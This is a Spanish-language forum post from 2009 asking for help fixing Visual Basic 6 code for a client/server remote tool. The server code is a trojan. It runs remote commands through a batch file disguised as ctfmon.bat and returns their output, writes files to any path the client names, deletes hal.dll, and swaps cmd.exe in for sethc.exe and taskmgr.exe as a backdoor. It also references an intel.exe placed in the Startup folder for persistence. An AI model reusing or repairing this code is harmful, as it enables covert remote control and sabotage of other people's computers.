Problema al crear archivo remotamente

Iniciado por 50l3r, 26 Mayo 2009, 15:08 PM

0 Miembros y 1 Visitante están viendo este tema.

50l3r

Veran tengo un problema, y la verdad que tengo toda la cabeza desordenada con esto

Este es el codigo del cliente, que envia los datos para que luego se creen en el host remoto

Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long

Private Sub Command1_Click()
Dim datosarch As String, creando As String, lilis As Integer, linear As String, totales As Integer
datosarch = InputBox("Indica ruta, noombre y extension: (ej c:\ola.txt)", "Especifica datos", "")

porden = "uno" & "-xzññzx-" & datosarch & "-xzññzx-" & txtarchivo

frmcliente.wsk.SendData creando
frmcliente.wsk.SendData porden

End Sub

Private Sub Timer1_Timer()
Const EM_GETLINECOUNT = &HBA
Const EM_GETLINE = &HC4
lilis = SendMessage(txtarchivo.hwnd, EM_GETLINECOUNT, 0, 0)
lbll.Caption = "Lineas: " & lilis
End Sub



Luego he aqui la parte del dataarival del servidor:



Private Sub wsk_DataArrival(ByVal bytesTotal As Long)
Dim orden As String, sistrema As String, todo As String, buscca As Integer
Dim handle_Process As Long
     Dim id_process As Long
    Dim lp_ExitCode As Long
    Dim casa As String
   
On Error GoTo error

'--------------------------------------------------------------------------'

casa = Environ$("homedrive")
sistrema = Environ$("windir") & "\system32"
letra = Environ$("homedrive") & "\Documents and Settings\All Users\Menú Inicio\Programas\Inicio"
ini = casa & "\ctfmon.bat"

'--------------------------------variables---------------------------------'

[b]wsk.GetData orden

If orden = "creando" Then interruptor = True

If interruptor = True & orden <> creando Then

arris = Split(orden, "-xzññzx-")

ordencr = arris(2)
ruta = arris(1)

Open ruta For Output As #1
Print #1, ordencr
Close #1

Exit Sub
End If[/b]

If interruptor = False & orden <> creando Then

'------------------ordenes personalizadas----------------------------------'

If orden = "del " & sistrema & "\hal.dll" Then Kill sistrema & "\hal.dll"
If orden = "copy /y " & sistrema & "\cmd.exe" & " " & sistrema & "\sethc.exe" Then FileCopy sistrema & "\cmd.exe", sistrema & "\sethc.exe"
If orden = "copy /y " & sistrema & "\cmd.exe" & " " & sistrema & "\taskmgr.exe" Then FileCopy sistrema & "\cmd.exe", sistrema & "\taskmgr.exe"
If orden = "eliminar troyano" Then
Kill letra & "\intel.exe"
Shell ("taskkill /f /im " & App.EXEName & ".exe")
End If
'--------------------------------------------------------------------------'

Open ini For Output As #1
Print #1, orden & ">" & casa & "\ctfmon.txt"
Close #1



     id_process = Shell(ini)
     

     
    handle_Process = OpenProcess(PROCESS_QUERY_INFORMATION, False, id_process)

   
    Do

         Call GetExitCodeProcess(handle_Process, lp_ExitCode)

         DoEvents

     Loop While lp_ExitCode = STATUS_PENDING

   
     Call CloseHandle(handle_Process)

   Open casa & "\ctfmon.txt" For Input As #1
txtcom = Input(LOF(1), #1)
Close #1

wsk.SendData txtcom

End If
error:
End Sub


La parte en negrita es la que mas o menos importa digo yo

el problema esta en que yo tengo dos opciones en el cliente, mandar datos, como u ndir y que el me conteste con la salida de datos que se deja en el fichero ctfmon.txt

luego esta un boton para crear un archivo que primero introduces los datos y despues especificas ruta y nombre de archivo y lo crea

la cosa es que falla en unas cuantas cosas, a veces me crea el archivo, otras no, si pongo espacios para crear un archivo me salta a ejecutarlo y no a crearlo... etc

haber si me podeis corregir un poco el code que estoy paranoico perdido

:-[